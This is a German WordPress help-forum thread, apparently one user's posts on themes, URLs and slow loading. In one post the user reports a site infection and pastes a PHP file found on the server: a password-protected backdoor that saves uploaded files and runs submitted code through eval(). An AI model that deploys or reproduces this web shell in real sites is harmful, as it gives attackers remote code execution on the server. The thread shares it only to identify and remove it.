Hier wäre noch eins, welches ich nicht mehr brauche. Wer Interesse hat, - 2 3 Dinge muss ich noch ändern, dann packe ich es zum Download zusammen.
#widget sidebar rechts
Um schreiben oder kommentieren zu können, benötigen Sie ein Benutzerkonto.
Sie haben schon ein Benutzerkonto? Melden Sie sich hier an.
Jetzt anmeldenHier können Sie ein neues Benutzerkonto erstellen.
Neues Benutzerkonto erstellenHier wäre noch eins, welches ich nicht mehr brauche. Wer Interesse hat, - 2 3 Dinge muss ich noch ändern, dann packe ich es zum Download zusammen.
#widget sidebar rechts
Diesmal geht es um eine zu befüllende Datenbank. Zuerst habe ich es mit einem Wiki, dann mit größeren namhaften Frameworks probiert. Alles viel zu umständlich.
Dann die verrückte Idee, selbiges mit WordPress zu probieren. Ich muss sagen, das hätte ich nicht erwartet. Ein bißkin Datum weg und schon gehts völlig easy go.
Also schaut selbst, sogar umfangreiche Datenblätter sind mit WP möglich. (Noch im Aufbau - es fehlen noch diverse Inhalte) Ich bin begeistert. :-D
Ich wollte nur bescheid sagen, dass ich das gleiche Problem wie Gert-Lothar habe/hatte.
Also Automatik wie beschrieben. Nach einem gefolgten Upgrade via FTP hatte die Webseite Ladezeiten von so ca. 1,5 min pro Seite :mrgreen: Anzeige im Adminpanel - eine neue Version 2.7.1. ist da *gg*
Das gleiche dann auf einem anderen Server/andere Domain ohne Automatikversuch.
Deshalb habe ich umgehend die Dateien der Version 2.7 wieder draufgehauen. Und siehe da, alles ist wieder chick. Könnte also doch ein Würmchen drin sein?!?
Ach so, bevor das kommt:
Eine beinahe jungfräuliche Version 2.7 ohne PlugIns und Kubrik war die Ausgangssituation.
Liebe Grüße
Hallo,
handelt es sich um eine Neuinstallation oder ein ugrade vorhandener Daten?
oder per CSS wie zum Beispiel hier...
Naja, ich sehe das etwas anders und sage mal so:
In der Zwischenzeit ist der CSS-Validator verbessert worden. Eine Zeit lang hat er sich aufgehängt, wenn die fehlende Hintergrund-Farbe zum Vordergrund fehlte. Dies konnte man seinerzeit wirklich ignorieren. Wenn er heute Warnungen ausgibt, würde ich sie ernst nehmen.
Es handelt sich dabei meist um die Nicht-Benutzbarkeit bei fehlenden Grafiken. Grafiken können jederzeit Ladehemmungen haben. Ein einfacher Test:
Firefox - Extras - Einstellungen - Inhalt - Häkchen bei "Grafiken laden" entfernen. Gucken, ob die Webseite dann noch lesbar ist.
Sofern Widgets aktiviert sind, wird die Sidebar überschrieben. Andernfalls greifen die Defaulteinstellungen, welche hardgecodet in der sidebar.php hinterlegt sind. Das ist von Theme zu Theme ganz unterschiedlich. Je nach dem, was der Autor dort als "default" reingestellt hat.
Sollen das immer die beiden gleichen Artikel bleiben, oder jeweils die beiden aktuellsten?
Würdest Du uns die Lösung verraten?
Der IE6 braucht über 2 Minuten, um die Seite zu generieren. Der IE5.5 zeigt nichts, weil er seine berühmt berüchtigten Objekte erwartet.
Allerdings wird nach gesprengtem Frameset diese Seite in allen IE´s sofort und ohne Probleme geladen.
Kannst Du die Seite nicht per .htaccess umleiten? Iframes sind keine guten Lösungen.
PS: Deine Directory List ist on.
Hallo Alphawolf,
weil ich eine WP-Seite mit vielen statischen Seiten aufbauen möchte. Die Navigation wird dazu in 4 Blöcke aufgeteilt. Der Newsbereich (Blog) dagegen bleibt eher bescheiden. Siehe meine Seite.
Das funktioniert imho nur mit "&child_of=" und es funktioniert wunderbar, allerdings leider mit diesem kleinen Schönheitsfehler.
Weißt Du, wie es geht? ;-)
Hallo liebe Leser,
hätte jemand eine Idee, wie man die übergeordnete statische Seite aus der URL entfernen kann?
Sprich aus:
?://meineSeite.de/Parentpage/seite.html
soll werden:
?://meineSeite.de/seite.html
Dazu habe ich das PlugIn Remove Parents gefunden. Nur funktioniert das PlugIn leider nicht. Wahrscheinlich ist es nicht auf dem neuesten Stand. Alle meine sonstigen Versuche, die .htaccess zu bearbeiten, bringen mich entweder zu 404 oder 500.
Ich habe nur 3 Ordner, die da raus müssen. Also dachte ich, ich könnte gewisse Suchbegriffe aus der URL entfernen.
Bitte um Hilfe ;-)
Ja, soweit ich weiß b.z.w. wenn ich mich nicht irre, handelt es sich tatsächlich um einen Rootserver. Es ist auch ein update aus Version 2.1. Dafür kann ich aber persönlich nichts, da man mich gerade erst bemüht hat. So ist das eben, wenn man leichtsinnig ist!
Da dieses Thema nicht unbedingt mein Steckenpferd ist (wie man sicher bemerkt), werde ich wohl aus Sicherheitsgründen den ganzen Schuh an einen Experten weiter geben.
Ich halte aber zunächst Rücksprache mit dem Blogbetreiber, werde abwarten, was der Hoster sagt und dann sehe ich weiter.
Was für ein Schreck ;-) Danke für die Infos. Sie helfen auf jeden Fall weiter, irgendwie.
Ach so, und Google anschreiben ist schon erfolgt.
Beste Grüße aus NRW/Lippe
Gleich noch eine Frage:
Die Datei stammt mit Sicherheit nicht vom Blogbetreiber, denn wir haben gerade eine neue nackte WP-Installation aufgespielt - keine PlugIns, nichts anderes.
Sollte man hier vielleicht umgehend den Hoster informieren?
Vielen Dank
Ja ne? Sowas dachte ich mir schon.
Entfernt habe sie ja sofort, denn WordPress läuft auch ohne sie.
Danke für die schnelle Antwort.
Dann werde ich wohl weiterhin die Augen aufhalten.
Guten Abend,
ich betreue gerade ein Blog, welches mit Hilfe des PlugIns WpStats infiziert wurde. Ein Trojaner Namens TR/Dldr.HTML.Agent.IS wurde über einen 1px x 1px großen iframe eingeschleust. Die Seite wird bei Google als "Diese Website kann Ihren Computer beschädigen." gelistet.
Das aber nur nebensächlich. Dar Trojaner konnte gottseidank lokalisiert werden. (Falls jemand ähnliches Problem hat und hierzu Hilfe braucht, bitte melden - ich weiß jetzt, wie man ihm zu Laibe rückt)
Mich beunruhigt eher noch etwas anderes. Und zwar habe ich im root des Servers noch die Datei ap_wp-config.php gefunden. Inhalt der Datei fängt erst bei Zeile 101 an (zunächst denkt man, sie ist leer):
<?php
@error_reporting(E_ALL);
@set_time_limit(0);
global $HTTP_SERVER_VARS;
define('PASSWD','md5code'); // Zeichenfolge durch "md5code" ersetzt
function say($t) {
echo "$t\n";
};
function testdata($t) {
say(md5("mark_$t"));
};
echo "<pre>";
testdata('start');
if (md5($_POST["p"]) == PASSWD) {
if ($code = @fread(@fopen($HTTP_POST_FILES["s"]["tmp_name"], "rb"),
$HTTP_POST_FILES["s"]["size"])) {
if(@fwrite(@fopen(dirname(__FILE__).'/'.basename($HTTP_POST_FILES["s"]["name"]), "wb"), $code))
{
testdata('save_ok');
};
//eval($code);
} else {
testdata('save_fail');
};
if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"], "rb"),
$HTTP_POST_FILES["f"]["size"]))
{
eval($code);
testdata('ok');
} else {
testdata('fail');
};
} else {
testdata('pass');
};
testdata('end');
echo "</pre>";
?>
Alles anzeigen
Weiß jemand woher die kommt b.z.w. hat solch eine Datei schon mal gesehen? Mir kommt das weiterhin spanisch vor.
Vielen Dank
Guten Morgen,
ich wollte nur probieren, ob es überhaupt möglich ist, da ich für ein Projekt verschiedenartige Formulare benötige.
Es ist also möglich, Formulare jeglichen Umfangs allein aus dem Template heraus zu verarbeiten. Es genügt, der Seite, welche das Formular anzeigen soll, das Template zuzuweisen. WordPress wird nicht belastet, da sich das Formular erst bei Benutzung selbst verarbeitet.
Als Beispiel ein einfaches Feedbackformular mit Zahlen Captcha.
Wer Interesse an der Lösung hat, kann einmal hier gucken.
Gruß aus dem Extertal
Meinst Du vielleicht
Admin ---> schreiben ----> Seite
Seite anlegen?
Ob Du das Deiner Programmiererin vermitteln kannst, weiß ich nicht ;-)
Der Rest ist mit WordPress sehr leicht realisierbar. (Ich gehe davon aus, dass Du lediglich "statische" Inhalte aus Deiner bisherigen Homepage übernehmen möchtest.)
WordPress hat ein sehr flexibles Template System. Damit lassen sich (fast) alle Layoutwünsche erfüllen. Somit auch die Übernahme vorhandener Designs. Vorhande Pages lassen sich durch die Funktion "Seite schreiben" in das System integrieren und auch in einer horizontalen Menüleiste unter bringen.
Es schad ja nicht, WordPress einmal zu installieren, um herein zu schnuppern.
Viel Spass damit ;-)
was hat das mit dem Standpunkt zu tun? Ich möchte da nichts madig machen. Aber es ist eine meßbare Tatsache. Tatsachen dürfen doch noch erwähnt werden oder?
Völlig egal, welches Blog ich besuche, es dauert eben seine Zeit, bis die entsprechende Seite läd.
Wie gesagt, ich fände es nicht richtig, sich an dieser Stelle selbst etwas vorzumachen. Auch wenn man WP liebt. Ich selbst liebe WP auch. Realistsich gesehen und im Vergleich zu anderen Anwendungen ist WordPress jedoch schweine-langsam. Wer da etwas anderes meint, verzerrt die Realität. Hat mit dem Root-Server absolut nichts zu tun.